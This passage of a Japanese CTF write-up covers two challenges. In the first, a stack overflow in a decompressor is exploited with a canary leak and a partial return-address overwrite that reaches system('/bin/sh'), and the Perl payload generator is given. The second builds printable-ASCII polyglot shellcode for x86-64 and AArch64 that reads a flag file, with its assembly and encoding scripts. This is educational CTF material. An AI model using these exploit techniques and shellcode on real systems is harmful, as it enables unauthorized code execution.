			if (next_pos >= input_size) error("input underflow");
			/* 18f9 */
			input_value = input_data[next_pos++];
			first_value |= (input_value & 0x7f) << (bit_pos & 0xff);
			bit_pos += 7;
			/* 1914 */
		} while (input_value & 0x80);
		/* 1916 */
		bit_pos = 0;
		second_value = 0;
		do {
			/* 1920 */
			if (next_pos >= input_size) error("input underflow");
			/* 1929 */
			input_value = input_data[next_pos++];
			second_value |= (input_value & 0x7f) << (bit_pos & 0xff);
			bit_pos += 7;
			/* 1941 */
		} while (input_value & 0x80);
		/* 1946 */
		if (first_value == 0) {
			/* 194b */
			if (second_value == 0) return next_pos;
			/* 1950 */
			if (second_value != 1) error("invalid special command");
			/* 195a */
			if (output_pos >= output_size) error("destination overflow");
			/* 195f */
			output_data[output_pos] = 0xff;
			input_pos = next_pos;
			output_pos += 1;
			/* 18d4 */
			if (input_size <= next_pos) error("input underflow");
		} else {
			unsigned char *copy_ptr, *copy_end;
			/* 1970 */
			if (second_value == 0) {
				/* 19ac */
				input_pos = next_pos;
				/* 18d4 */
				if (input_size <= next_pos) error("input underflow");
				continue;
			}
			/* 1975 */
			copy_end = output_data + output_pos - first_value + second_value;
			copy_ptr = output_data + output_pos - first_value;
			do {
				/* 1990 */
				unsigned char tmp = copy_ptr[0];
				(copy_ptr++)[first_value] = tmp;
				/* 199c */
			} while (copy_ptr != copy_end);
			/* 19a1 */
			output_pos += second_value;
			input_pos = next_pos;
			/* 18d4 */
			if (input_size <= next_pos) error("input underflow");
		}
	}
}
```

</div></details>

さらに、[Tera Term][teraterm]でサーバに接続し、いくつかのデータの圧縮を試してみた。

|入力データ|圧縮結果|
|---|---|
|`22222222222222222222`|`54494e5922ff0109ff0000`|
|`22`|`54494e5922ff0000`|
|`22332233223322332233`|`54494e592233ff0208ff0000`|
|`22222222223333333333`|`54494e5922ff010433ff0105ff0000`|

(よく見たら最後の圧縮結果は間違っている(問題プログラムのバグ？)が、本質ではない)

結果、`decompress`関数は以下の処理をしていることが読み取れた。

1. 入力データのヘッダをチェックする。
2. 以下を繰り返す。
   1. 0xff のバイトが来るまで、入力データを出力する。
   2. 可変長の数を読み込む。数は64bitで、トップビットが立っていないバイトが数データの終了を表す。
   3. 同じ形式の可変長の数をもう1個読み込む。
   4. 最初の数が0の場合は
      * 2番目の数が0の場合は、終了する
      * 2番目の数が1の場合は、0xff のバイトを出力する
   5. 最初の数が0でない場合は、出力データの(最初の数)バイト前から(2番目の数)バイトを出力する。

出力データを出力データにコピーする部分では、オフセットのチェックも出力の長さのチェックも無いため、
ここで攻撃ができそうである。
攻撃のため、`main`関数の`objdump`による逆アセンブル結果を読んだ。
その結果、以下のことがわかった。

* `decompress`関数の出力先は、RSPから0x2310バイト先である
* リターンアドレスは、RSPから`8 * 4 + 0x1000 * 3 + 0x328 = 0x3348`バイト先である
* RSPから0x3318バイト先にカナリアがある

<details><summary>根拠となる部分</summary><div>

```
00000000000011a0 <main>:
    11a0:	f3 0f 1e fa          	endbr64 
    11a4:	41 56                	push   %r14
    11a6:	41 55                	push   %r13
    11a8:	41 54                	push   %r12
    11aa:	55                   	push   %rbp
    11ab:	48 81 ec 00 10 00 00 	sub    $0x1000,%rsp
    11b2:	48 83 0c 24 00       	orq    $0x0,(%rsp)
    11b7:	48 81 ec 00 10 00 00 	sub    $0x1000,%rsp
    11be:	48 83 0c 24 00       	orq    $0x0,(%rsp)
    11c3:	48 81 ec 00 10 00 00 	sub    $0x1000,%rsp
    11ca:	48 83 0c 24 00       	orq    $0x0,(%rsp)
    11cf:	48 81 ec 28 03 00 00 	sub    $0x328,%rsp
    11d6:	48 8b 3d 53 2e 00 00 	mov    0x2e53(%rip),%rdi        # 4030 <stdin@@GLIBC_2.2.5>
    11dd:	31 c9                	xor    %ecx,%ecx
    11df:	31 f6                	xor    %esi,%esi
    11e1:	ba 02 00 00 00       	mov    $0x2,%edx
    11e6:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
    11ed:	00 00 
    11ef:	48 89 84 24 18 33 00 	mov    %rax,0x3318(%rsp)
```

```
    145f:	4c 89 e7             	mov    %r12,%rdi
    1462:	4c 8d ac 24 10 23 00 	lea    0x2310(%rsp),%r13
    1469:	00 
    146a:	e8 d1 05 00 00       	callq  1a40 <dehex>
    146f:	4c 89 e2             	mov    %r12,%rdx
    1472:	be a0 0f 00 00       	mov    $0xfa0,%esi
    1477:	4c 89 ef             	mov    %r13,%rdi
    147a:	48 89 c1             	mov    %rax,%rcx
    147d:	e8 be 03 00 00       	callq  1840 <decompress>
```

</div></details>

さらに、与えられたELFファイルを[CS50 IDE][cs50]上でGDBを用いて実行してみた結果、
RSPから0x33f8バイト先に`_start`のアドレスがあることがわかった。

これらの位置の情報を用いることで、オフセットをうまく指定することでカナリアやアドレスを出力データにコピーし、
さらにリターンアドレスを設定することが可能となる。
リターンアドレスの設定先は、
RSPから0x10バイト先のアドレスを引数に指定して`system`関数を呼ぶ、以下の部分にすることにした。

```
    1339:	48 8d 6c 24 10       	lea    0x10(%rsp),%rbp
    133e:	48 89 ef             	mov    %rbp,%rdi
    1341:	e8 ea fd ff ff       	callq  1130 <system@plt>
```

今回のようにELFファイルを逆アセンブルした際のアドレスの桁数が少ない場合、
実行時のプログラムのアドレスは16進数の下位3桁を除いてランダムになることが知られている。
今回、下から3桁目が3となるプログラムのアドレスはスタック上に見つからなかったため、
`_start`のアドレスの下位2バイトを書き換えることでここに制御を移すこととなる。
下から4桁目はランダムになるが、だいたい1/16の確率で当たるはずなので、ここは運に頼ることにした。

結論として、以下のデータをカナリアの位置から順に配置すれば、シェルを起動できるはずである。

* カナリア (8バイト)
* 埋め (40バイト)
* リターンアドレス (8バイト)
* 埋め (16バイト)
* `"/bin/sh"` (8バイト)

リターンした直後はスタックのアラインメントは関数を呼び出すのに適した状態になっているはずであり、
そこからスタックを動かさずに`callq system`を実行することになるため、アラインメントは問題ないはずである。

以下のプログラムを用いてシェルを起動するためのデータを生成した。

<details><summary>シェルを起動するためのデータを生成するプログラム</summary><div>

```gen.pl
#!/usr/bin/perl

use strict;
use warnings;

sub put_value {
	my $a = $_[0];
	if ($a == 0) {
		print "00";
	} else {
		while ($a != 0) {
			my $value = $a & 0x7f;
			$a >>= 7;
			if ($a != 0) { $value |= 0x80; }
			printf("%02x", $value);
		}
	}
}

print "54494e59";

#print "ff";
#&put_value(-(0x3318 - 0x2310));
#&put_value(0x100);

# placeholder
print "2d";
print "ff";
&put_value(1);
&put_value(0xf00 - 1);

# canary
print "ff";
&put_value(-(0x3318 - (0x2310 + 0xf00)));
&put_value(8);

# placeholder
print "23";
print "ff";
&put_value(1);
&put_value(39);

# return address
print "3953"; # let's 1/16 gacha!
print "ff";
&put_value(-(0x33f8 + 2 - (0x2310 + 0xf00 + 8 + 40 + 2)));
&put_value(6);

# placeholder
print "3d";
print "ff";
&put_value(1);
&put_value(15);

# "/bin/sh"
print "2f62696e2f736800";

my $payload_size = 8 + 40 + 8 + 16 + 8;
my $space_left = 0x3318 - (0x2310 + 0xf00 + $payload_size);

# write payload
print "ff";
&put_value($payload_size + $space_left);
&put_value($payload_size + $space_left);

print "ff0000\n";
```

</div></details>

以下のデータが生成された。

```
54494e592dff01ff1dfff8fdffffffffffffff010823ff01273953ffc8fcffffffffffffff01063dff010f2f62696e2f736800ff88028802ff0000
```

Tera Term でサーバに接続し、このデータを解凍させると、多くの場合解凍結果を出力した後接続が切れた。
しかし、何度も試していると、解凍結果を出力した後接続が切れない時があった。
この時`ls`を送信するとファイルの一覧が出力され、シェルの起動に成功していることがわかった。
一覧の中には`flag`という項目があり、`cat flag`コマンドを実行することでflagが得られた。

```
CTF{lz77_0r1ent3d_pr0gr4mming}
```

## abc arm and amd (misc)

TCPサーバの接続情報と、以下のELFファイル4個が与えられた。

* `chal-aarch64`
* `chal-x86-64`
* `libc-aarch64.so`
* `libc-x86-64.so`

さらに、問題文より、以下の条件を満たすpayloadを送ることが求められていた。

* x86-64とarm64v8の両方で動き、`flag`ファイルの内容を出力する
* 0x20～0x7fのバイトのみを含む
* 280バイト以下

### 戦略

#### `flag`ファイルの内容を出力する

`flag`ファイルの内容を出力するのは、

1. `flag`ファイルを開く
2. ファイルの内容を読み込む
3. 読み込んだ内容を出力する

という手順でできる。C言語で書くと、以下のような感じである。

```c
#include <fcntl.h>
#include <unistd.h>

int main(void) {
	int fp = open("flag", O_RDONLY);
	char buf;
	while (read(fp, &buf, 1) == 1) {
		write(1, &buf, 1);
	}
	_exit(0);
}
```

以下が使用したシステムコールの説明である。
また、標準出力は通常ファイルディスクリプタ`1`に割り当てられていることが知られている。

* [Man page of OPEN](https://linuxjm.osdn.jp/html/LDP_man-pages/man2/open.2.html)
* [Man page of READ](https://linuxjm.osdn.jp/html/LDP_man-pages/man2/read.2.html)
* [Man page of WRITE](https://linuxjm.osdn.jp/html/LDP_man-pages/man2/write.2.html)
* [Man page of _EXIT](https://linuxjm.osdn.jp/html/LDP_man-pages/man2/exit.2.html)

#### x86-64とarm64v8の両方で動かす

多くのコードを異なるアーキテクチャで共通して使うのは難しそうである。
従って、「一方のアーキテクチャではジャンプ、もう一方のアーキテクチャではそのまま」となる命令を探し、
最初に配置する、というのがx86-64とarm64v8に両対応させるための戦略となるだろう。
この戦略は、以前考えたこれで用いたものである。
[これまでの(LPC1114を用いた) IchigoJam と IchigoJam R 両対応のマシン語 - Qiita](https://qiita.com/mikecat_mixc/items/5c14111e8f144d16b4fa)

#### 0x20～0x7fのバイトのみを含む

今回の問題では、使用できるバイトの値に制限がある。
例えば、x86-64の`syscall`命令は`0f 05`なので、そのままでは使えない。
「shellcode with only ascii」でググってみると、以下のサイトが見つかった。
[x86 alphanumeric shellcodeを書いてみる - ももいろテクノロジー](https://inaz2.hatenablog.com/entry/2014/07/11/004655)
これによれば、使える命令を利用し、xorなどで直接使えない命令を作る、という戦略になりそうだ。

### x86-64

#### テスト環境

x86-64のコードは、[CS50 IDE][cs50]で実行することができる。
与えられたバイナリの`chal-x86-64`もここで実行することができる。
読み込み対象の`flag`ファイルも(適当な内容で)用意することで、作ったpayloadの動作を確認できるだろう。

[TDM-GCC][tdmgcc]の`objdump`で`chal-x86-64`を逆アセンブルした結果、
これは`mmap`で確保した領域に入力を読み込み、`%rdx`レジスタにそのアドレスを入れて実行していることがわかった。
入力を読み込んで実行していることから、この領域は書き込みと実行ができることがわかる。

#### `flag`ファイルの内容を出力する

まずは制約を無視し、`flag`ファイルの内容を出力するプログラムを普通に書く。
といっても、エラー処理は省いて最低限の処理にしておく。
調べた結果、`O_RDONLY`の値は0のようである。 ([fcntl.h](https://sites.uclouvain.be/SystInfo/usr/include/asm-generic/fcntl.h.html))
また、システムコールの呼び出し方は以下が参考になる。
[Syscall Number for x86-64 linux (A)](https://www.mztn.org/lxasm64/x86_x64_table.html)

今回は、x86-64用のコードは[NASM](https://www.nasm.us/)でアセンブルする。

<details><summary>payload-work-x86-64.asm</summary><div>

```payload-work-x86-64.asm
bits 64

	; rbx = open("flag", 0)
	push 0x67616c66 ; flag
	mov rdi, rsp
	xor esi, esi
	mov eax, 2
	syscall
	mov rbx, rax
read_loop:
	; read(rbx, rsp, 1)
	mov rdi, rbx
	mov rsi, rsp
	mov edx, 1
	xor eax, eax
	syscall
	test eax, eax
	jz loop_end
	; write(1, rsp, 1)
	mov edi, 1
	mov rsi, rsp
	mov edx, 1
	mov eax, 1
	syscall
	jmp read_loop
loop_end:
	; _exit(0)
	xor edi, edi
	mov eax, 60
	syscall
```

</div></details>

#### 使える文字だけで表現する

[coder64 edition | X86 Opcode and Instruction Reference 1.12](http://ref.x86asm.net/coder64.html)
を参照し、使える命令を確認する。今回は0x20～0x7fのバイトが使えるので、前述のalphanumericよりは制約が緩い。
その結果、`AND`、`SUB`、`XOR`、`CMP`、`PUSH`、`POP`、`Jcc`命令などが利用可能である。
なるべくこれらの命令だけを使用するため、以下のような置き換えを利用した。

* レジスタ間の`mov` → `push`して`pop`
* 即値の`mov` → 即値を`push`して`pop`、0や1などの小さい値は0x20を超える値の引き算で作る

そして、これで置き換えられなかった命令は、xorを利用して作ることにした。
前述のように今回のコードは書き込みと実行ができる領域に置かれるため、これが可能である。
さらに、「プログラムのアドレスがRDXに入る」という性質も利用している。

結果、以下のコードが完成した。`xor`命令で使っているオフセットは逆アセンブル結果から求めた。

<details><summary>payload-x86-64.asm</summary><div>

```payload-x86-64.asm
bits 64

	push 0x67616c66 ; flag
	pop rax
	push rax
	xor [rdx + 0x3a], ax
	xor [rdx + 0x49], ax
	xor [rdx + 0x53], ax
	xor [rdx + 0x5c], ax
	xor [rdx + 0x4e], al
	sub ax, 0x7777
	sub ax, 0x4444
	xor [rdx + 0x4b], ax
	xor [rdx + 0x55], ax

	;mov rdi, rsp
	push rsp
	pop rdi
	;xor rsi, rsi
	push 0x24
	pop rax
	push rax
	push rax
	sub al, 0x24
	push rax
	pop rsi
	push rax
	pop rbp
	;mov eax, 2
	;push 0x24
	pop rax
	sub al, 0x22
	;syscall
	db 0x69, 0x69
	;mov rbx, rax
	push rax
	pop rbx
	;mov rsi, rdi
	push rdi
	pop rsi
	;mov edx, 1
	;push 0x24
	pop rax
	sub al, 0x23
	push rax
	pop rdx
read_loop:
	;mov rdi, rbx
	push rbx
	pop rdi
	;xor eax, eax
	push rbp
	pop rax
	;syscall
	db 0x69, 0x69
	;test eax, eax
	db 0x2e, 0x70
	;jz loop_end
	db 0x74, 0x6e
	;mov edi, 1
	push rdx
	pop rdi
	;mov eax, 1
	push rdx
	pop rax
	;syscall
	db 0x69, 0x69
	;jmp read_loop
	db 0x40, 0x5e
loop_end:
	;xor edi, edi
	push rbp
	pop rdi
	;mov eax, 60
	push 60
	pop rax
	;syscall
	db 0x69, 0x69
```

</div></details>

```
hflagXPf1B:f1BIf1BSf1B\0BNf-wwf-DDf1BKf1BUT_j$XPP,$P^P]X,"iiP[W^X,#PZS_UXii.ptnR_RXii@^U_j<Xii
```

(94 bytes)

### arm64v8

#### テスト環境

「aarch64 virtual machine」でググって出てきた
[ARM64 Linux on Win10 · GitHub](https://gist.github.com/billti/d904fd6124bf6f10ba2c1e3736f0f0f7)
に基づき、指定のファイル3個をコピーしてQEMUのおまじないを唱えることで、
AArch64のUbuntu環境を構築でき、SSHでアクセスできるようになった。
(アクセス用のIDとパスワードも記事で指定されている)

QEMUを実行した端末(コマンド プロンプト)で`ubuntu login:`と出るまで待った後、
[Tera Term][teraterm]でSSHアクセスしようとした所、なぜか「プレインパスワードを使う」が選択不可になってしまった。
「SSH認証」の「ログイン前にサーバで有効な認証方式を確認する (SSH2)」を切ったところ、
指定のIDとパスワードを用いて「プレインパスワードを使う」でログインできた。
1回ログインすると、「SSH認証」の「ログイン前にサーバで有効な認証方式を確認する (SSH2)」をオンにしても
普通に「プレインパスワードを使う」でログインができるようになった。

ログイン後、開発に役立つツールをインストールする。
具体的には、binutils(`objdump`、`objcopy`、`as`)と`gdb`をインストールする。
以下のコマンドでインストールできる。

```
sudo apt-get update
sudo apt-get install -y binutils gdb
```

この環境で、与えられたバイナリの`chal-aarch64`を実行することができる。
また、`objdump`を用いた`chal-aarch64`の逆アセンブルもできる。
逆アセンブルの結果、`chall-x86-64`と同様に`mmap`で確保した領域に入力を読み込み、
`x0`レジスタにアドレスを入れて実行していることがわかった。

#### `flag`ファイルの内容を出力する

AArch64の命令のリファレンスとしては、ここが使える。
[Arm64(ARMv8) Assembly Programming (00)](https://www.mztn.org/dragon/arm6400idx.html)
命令のニモニックや意味だけでなくビットパターンも載っており、今回の目的にかなり便利である。

[Arm64(ARMv8) Assembly Programming (08) 分岐命令](https://www.mztn.org/dragon/arm6408cond.html)
より、システムコールは`x0`～`x5`レジスタに引数、`x8`にシステムコール番号を入れ、
`svc #0`命令を実行すればいいことがわかる。
さらに、`open`は使えず、`openat`を使うべきだということが書かれている。
`openat`は`open`と比べ、第1引数として読み込むファイルがあるディレクトリの指定が追加されている。
ここに`AT_FDCWD`を指定することで、`open`と同様にカレントディレクトリから読み込んでくれる。
`AT_FDCWD`の値は`-100`のようである。 ([fcntl.h](https://sites.uclouvain.be/SystInfo/usr/include/linux/fcntl.h.html))

以下のコードを用意し、

```
as payload-work-aarch64.asm && objcopy -O binary a.out payload-work-aarch64
```

というコマンドを実行することで、`chal-aarch64`用の入力データ`payload-work-aarch64`が作成できる。

<details><summary>payload-work-aarch64.asm</summary><div>

```payload-work-aarch64.asm
	// put "flag" on the stack
	mov x0, #0x6761
	mov x1, #0x6c66
	lsl x0, x0, #16
	orr x0, x0, x1
	str x0, [sp]
	// sp[1] = openat(AT_FDCWD, "flag", 0)
	mov x0, #-100
	mov x1, sp
	mov x2, 0
	mov x8, #56
	svc #0
	str x0, [sp, #8]
read_loop:
	// read(sp[1], sp, 1)
	ldr x0, [sp, #8]
	mov x1, sp
	mov x2, #1
	mov x8, #63
	svc #0
	cbz x0, loop_end
	// write(1, sp, 1)
	mov x0, #1
	mov x1, sp
	mov x2, #1
	mov x8, #64
	svc #0
	b read_loop
loop_end:
	// _exit(0)
	mov x0, #0
	mov x8, #93
	svc #0
```

</div></details>

#### 使える文字だけで表現する

現状のプログラムには、トップビットが立っていたり0x00に近かったりするバイトが大量に含まれている。
そこで、これに対し何らかの値をxorすることで、使えるバイトの範囲に入れることを狙う。
ただし、トップビットが立っているバイトと立っていないバイトが混在しているので、
単純な1個の値のxorでコード全体を表現することはできなそうである。
従って、何らかの値の足し算とxorを併用することにした。
それでもトップビットを立たせたり立たせなかったりするのは難しそうだと考えたので、
コードを工夫し、それぞれのバイトの位置(mod 4)ごとにトップビットを立たせるかどうかをなるべく統一するようにした。
最終的に、4バイトの命令のうち最上位のバイトはなるべくトップビットを立たせ、
それ以外はなるべくトップビットを立てないようにした。

xorや足し算により、データを機械語に復元する部分も工夫が要求される。
使える命令の必要条件として、命令のトップビット(ビット31)が0でなくてはいけない。
[Arm64(ARMv8)Assembly Programming (06) 演算命令](https://www.mztn.org/dragon/arm6406calc.html)
を参照すると、演算命令のトップビットは`z`となっており、
32ビットレジスタの演算では0、64ビットレジスタの演算では1となる。
従って、演算(足し算やビット演算など)は32ビットレジスタでしかできない。
さらに、
[Arm64(ARMv8) Assembly Programming (04) ロード命令](https://www.mztn.org/dragon/arm6404ldr.html)
[Arm64(ARMv8) Assembly Programming (05) ストア命令](https://www.mztn.org/dragon/arm6405str.html)
を参照すると、トップビットが0のメモリアクセス命令は16ビットと8ビットのものであることがわかる。
したがって、16ビット(または8ビット)ずつ復元していけば良さそうであるが、
ここで問題となりそうなのがアドレスは64ビットなのに、足し算は32ビットでしかできないということである。
これに関しては、アドレスは`x0`に入っているものをそのまま使用し、
レジスタの値をオフセットとして加えることができるメモリアクセス命令を使うことで解決した。

加えたりxorしたりする値は、[Z3](https://github.com/Z3Prover/z3)を用いて求めた。
値を用意する命令の都合で、値はそれぞれ12ビットまで(4ビットまでのシフトが可能)で、
バイトのトップビットが立ったり0x00や0x01になったりしないための制約もかかる。
コード全体に共通して使える値は見つからなそうだったので、
命令の前半2バイトと後半2バイトそれぞれについて使う値を求めた。
命令を節約するため、加える値は共通にすることにした。
これを実現するため、一方の組について値の組を求めたらその値を用いた制約を追加してもう一方の組の値を求める、
というようなことをした。

具体的なコードは以下のようなものである。
加えたりxorしたりする値を仮にそれぞれ0として実装し、アセンブルした結果をこのプログラムの入力とすることで、
命令の表現に使える値を探した。
値を仮に0としておくことで、加えたりxorしたりしても機械語が変わらず、そのまま動作テストが可能となる。

<details><summary>payload-aarch64-search.py</summary><div>

```payload-aarch64-search.py
import sys
import z3

if len(sys.argv) < 2:
	sys.stderr.write("please specify input file\n")
	sys.exit(1)

offset = 0x5c + 2

f = open(sys.argv[1], "rb")
in_data = f.read()
f.close()

v1 = z3.BitVec("v1", 16)
v2 = z3.BitVec("v2", 16)
v3 = z3.BitVec("v3", 16)

solver = z3.Solver()

def adds_constraint(value, shift):
	return z3.And((value & (0xfdf << shift)) == value, ((value >> shift) & 0x18) != 0)

solver.add(z3.Or([adds_constraint(v1, s) for s in range(5)]))
solver.add(z3.Or([adds_constraint(v2, s) for s in range(5)]))
solver.add(z3.Or([adds_constraint(v3, s) for s in range(5)]))

#solver.add(v2 != 0x8980)
#solver.add(v2 != 0x7520)
#solver.add(v2 == 0x500)
#solver.add(v2 == 0x8570)
#solver.add(v2 != 0x7c78)
#solver.add(v2 == 0x7480)

exclude = []

for i in range(offset, len(in_data), 4):
	value = in_data[i] + (in_data[i + 1] << 8)
	print(hex(value))
	if value in exclude: continue
	value2 = ((value ^ v1) - v2) ^ v3
	#value2 = (value ^ v2) - v3
	#value2 = (value - v2) ^ v3
	solver.add((value2 & 0xff) >= 0x20)
	solver.add((value2 & 0xff) <= 0x7e)
	solver.add((value2 & 0xff00) >= 0x2000)
	solver.add((value2 & 0xff00) <= 0x7e00)

res = solver.check()
print(res)
if res == z3.sat:
	m = solver.model()
	print("v1 = " + hex(m[v1].as_long()))
	print("v2 = " + hex(m[v2].as_long()))
	print("v3 = " + hex(m[v3].as_long()))
```

</div></details>

変換の対象は、機械語を復元するためのループのための分岐命令以降全ての命令である。
変換が可能な組み合わせを見つけるため、ループの開始位置を調節して分岐命令を変えることもした。
最終的に見つかった値の組み合わせを用い、以下のコードで機械語から使える文字への変換を行った。

<details><summary>payload-aarch64-convert.pl</summary><div>

```payload-aarch64-convert.pl
#!/usr/bin/perl

use strict;
use warnings;

my $xor1_1 = 0x58e0;
my $add_1 = 0x7480;
my $xor2_1 = 0x8500;
my $xor1_2 = 0x2ec0;
my $add_2 = 0x7480;
my $xor2_2 = 0x4060;

my $start_offset = @ARGV > 0 ? oct($ARGV[0]) : 0x60;

binmode(STDIN);
binmode(STDOUT);

my $buf = "";
read(STDIN, $buf, $start_offset);
print($buf);
my $mode = 0;
while (read(STDIN, $buf, 2) == 2) {
	my $value = unpack("S", $buf);
	if ($mode) {
		print pack("S", (($value ^ $xor2_2) - $add_2) ^ $xor1_2);
	} else {
		print pack("S", (($value ^ $xor2_1) - $add_1) ^ $xor1_1);
	}
	$mode = !$mode;
}
```

</div></details>

変換後動作テストを行った所、うまく実行されずに強制終了した。
GDBで確認すると、変換がうまくできているにもかかわらず変換した部分で強制終了になっていた。
変換した部分の前に分岐命令(ただし分岐はしない)を挟むことで、強制終了にならず実行できるようになった。

ここまでを踏まえ、以下が最終的なAArch64用のpayloadとなった。

<details><summary>payload-aarch64.asm</summary><div>

```payload-aarch64.asm
beginning:
	.byte 0x3c, 0x20, 0x75, 0x71 // x86 jump

	ands w10, w2, wzr, LSR #0x10 // mov w10, #0

	adds w3, w10, #(((conv_loop_end - beginning) << 5) | 0x0f), LSL #12 // offset
	orr w11, w10, w3, LSR #(5+12)

	adds w8, w10, #0x888 // for +2
	orr w8, w10, w8, LSR #10 // lsr w5, w5, #10

	/* <- add/remove slash before this to toggle
	mov w2, #0
	mov w3, #0
conv_loop:
	mov w4, #0
	mov w5, #0
	//mov w6, #0
	mov w7, #0
	/*/
	adds w2, w10, #(0x58e0 >> 4), LSL #12 // value to xor 1
	adds w3, w10, #(0x7480 >> 3) // value to add
conv_loop:
	adds w4, w10, #(0x8500 >> 4), LSL #12 // value to xor 2

	adds w5, w10, #(0x2ec0 >> 3), LSL #12 // value to xor 1
	//adds w6, w10, #(0x7480 >> 3) // value to add
	adds w7, w10, #(0x4060 >> 3), LSL #12 // value to xor 2
	// */

	ldrh w1, [x11, x0]
	eor w1, w1, w2, LSR #(12 - 4)
	adds w1, w1, w3, UXTW #3
	eor w1, w1, w4, LSR #(12 - 4)
	strh w1, [x11, x0]
	adds w11, w11, w8, UXTW #0

	ldrh w1, [x11, x0]
	eor w1, w1, w5, LSR #(12 - 3)
	adds w1, w1, w3, UXTW #3
	eor w1, w1, w7, LSR #(12 - 3)
	strh w1, [x11, x0]
	adds w11, w11, w8, UXTW #0
	.word 0x3477776b
conv_loop_end:
	tbz w11, #8, conv_loop

	add x16, x0, #0 //mov x16, sp

	//mov x0, #0x6c66
	//movk x0, #0x6761, LSL #16

	//add x0, x10, #0x8cc
	//add x0, x0, #0xc2d, LSL #12
	//add x1, x10, #0xce
	//orr x0, x0, x1, LSL #24
	//orr x0, x10, x0, LSR #1 //lsr x0, x0, #1

	add x0, x10, #0x198
	add x0, x0, #0x85b, LSL #12
	add x1, x10, #0x19d
	orr x0, x0, x1, LSL #24
	orr x0, x10, x0, LSR #2 //lsr x0, x0, #1

	str x0, [x16]
	add x1, x16, #0 // mov x1, x16
	
	eor x2, x2, x2 // and x2, x2, #0
	orr x8, x2, #56 //mov x8, #56
	// mov x0, #-100
	// add x0, x2, #84
	// add x0, x0, #16
	// sub x0, x2, x0 // neg x0, x0
	add x0, x2, #25
	sub x0, x2, x0, LSL #2
	svc #0
	str x0, [x16, #8]
	add x1, x16, #0 // mov x1, x16
	add x2, x2, #1 // mov x2, #1
	bl start_read
read_loop:
	add x0, x2, #0 // mov x0, x2 // mov x0, #1
	//mov x8, #64
	add x8, x0, #67
	sub x8, x8, #4
	svc #0
start_read:
	ldr x0, [x16, #8]
	orr x8, x2, #62 // mov x8, #63
	svc #0
	//cbnz x0, read_loop
	//cbz x0, loop_end
	//br x30
	tbnz x0, #0, read_loop
loop_end:
	eor x0, x0, x0 // mov x0, #0
	add x8, x0, #93 // mov x8, #93
	svc #0
```

</div></details>

```
< uqJ@_jC=p1KEC*H!"1H)H*B9V1CA:1DAa1EaW1G1`1ai`x! BJ!L#+! DJai xkA(+ai`x!$EJ!L#+!$GJai xkA(+kww4k^g/pH r 7&r`,Ar!#&r`(![ O`[`J jaJ r"H";(@]S 4 r @ 8aH 1`V jaJ r"T reH q H rhL!rhG 2aH 1`V`j(x_SaH 1@]',`H ;h$!raH 1
```

(212 bytes)

### 両者のコードを統合する

ここまでで作成したpayloadの大きさを単純に合計すると、94 + 212 = 306 bytes となり、
規定の280バイトをオーバーしている。
そこで、x86-64用のコードを見直し、
オペランドを16ビットではなく32ビットにすることで命令のプリフィックスを外すなど、
xor処理に用いるバイト数を削減した。
さらに、テストの過程で`flag`ファイルの内容さえ出力すれば強制終了しても通ることがわかったので、
正常終了させるために`_exit(0);`を呼んでいる部分を両者から削除した。

次に、x86-64用のコードをAArch64用のコードの後に配置するため、コードの位置を表すRDXの値を調整する。
`mmap`で確保した領域のアドレスは16進数の下3桁が0になると仮定し、下位1バイトに対する`sub`命令で実現した。

最後に、AArch64用のコード内でx86-64用のジャンプ命令を入れるスペースを確保している部分に、
実際のジャンプ命令を入れ、x86-64用の処理に行けるようにする。
AArch64用の命令の最初だけではジャンプの距離が足りなかったため、
書き換えたコードを正常に実行させるための分岐命令の飛び先を表す部分にもx86-64のジャンプ命令を入れ、
2段階で飛ばすようにした。
ジャンプ命令として`jne`を使ったのでゼロフラグが立っていると飛ばないはずだが、動いたのでヨシ！

以下が最終的なpayloadとなった。

<details><summary>payload.asm</summary><div>

```payload.asm
bits 64
db `u[tqJ@_jC=p1KEC*H!"1H)H*B9V1CA:1DAa1EaW1G1\`1ai\`x! BJ!L#+! DJai xkA(+ai\`x!$EJ!L#+!$GJai xkA(+kui4k^g/pH r 7&r\`,Ar!#&r\`(![ O\`[\`J jaJ r"H";(@]S 4 r @ 8aH 1\`V jaJ r"T reH q H rhL!rhG 2aH 1\`V\`j(x_SaH 1@]',`

first:
	push rdx
	pop rax
	sub al, 0x38
	push rax
	pop rdx
	push 0x67616c66 ; flag
	pop rax
	push rax
	db 0x31, 0x42, label_syscall1 - first ; xor [label_syscall1], eax
	db 0x31, 0x42, label_jnz + 1 - first ; xor [label_jnz + 1], eax
	db 0x31, 0x42, label_syscall2 - first ; xor [label_syscall2], eax
	db 0x31, 0x42, label_syscall3 - first ; xor [label_syscall3], eax
	;db 0x30, 0x42, label_syscall4 - first ; xor [label_syscall4], al
	sub al, 0x77
	sub al, 0x44
	db 0x30, 0x42, label_jne + 1 - first ; xor [label_jne + 1], al

	;mov rdi, rsp
	push rsp
	pop rdi
	; xor rsi, rsi
	push 0x24
	pop rax
	push rax
	push rax
	sub al, 0x24
	push rax
	pop rsi
	push rax
	pop rbp
	;mov eax, 2
	pop rax ; <- push rax (0x24)
	sub al, 0x22
label_syscall1:
	;syscall
	db 0x0f ^ 0x66, 0x05 ^ 0x6c, 0x50 ^ 0x61, 0x5b ^ 0x67
	;mov rbx, rax
	;push rax
	;pop rbx
	;mov rsi, rdi
	push rdi
	pop rsi
	;mov edx, 1
	pop rax ; <- push rax (0x24)
	sub al, 0x23
	push rax
	pop rdx
label_jnz:
	;jnz read_loop_start
	db 0x75, 0x06 ^ 0x66
read_loop:
	;mov edi, 1
	;push rdx
	;pop rdi
	;mov eax, 1
	;push rdx
	db 0x52 ^ 0x6c, 0x5f ^ 0x61, 0x52 ^ 0x67
	pop rax
label_syscall2:
	;syscall
	db 0x0f ^ 0x66, 0x05 ^ 0x6c
read_loop_start:
	;mov rdi, rbx
	;push rbx
	;pop rdi
	db 0x53 ^ 0x61, 0x5f ^ 0x67
	;xor eax, eax
	push rbp
	pop rax
label_syscall3:
	;syscall
	db 0x0f ^ 0x66, 0x05 ^ 0x6c, 0x3c ^ 0x61, 0x00 ^ 0x67
	;cmp al, 0
label_jne:
	;jne read_loop
	db 0x75, 0xf0 ^ 0xab
loop_end:
	;xor edi, edi
	;push rbp
	;pop rdi
	;mov eax, 60
	;push 60
	;pop rax
;label_syscall4:
	;syscall
	;db 0x0f ^ 0x66, 0x05 ^ 0x6c
```

</div></details>

```
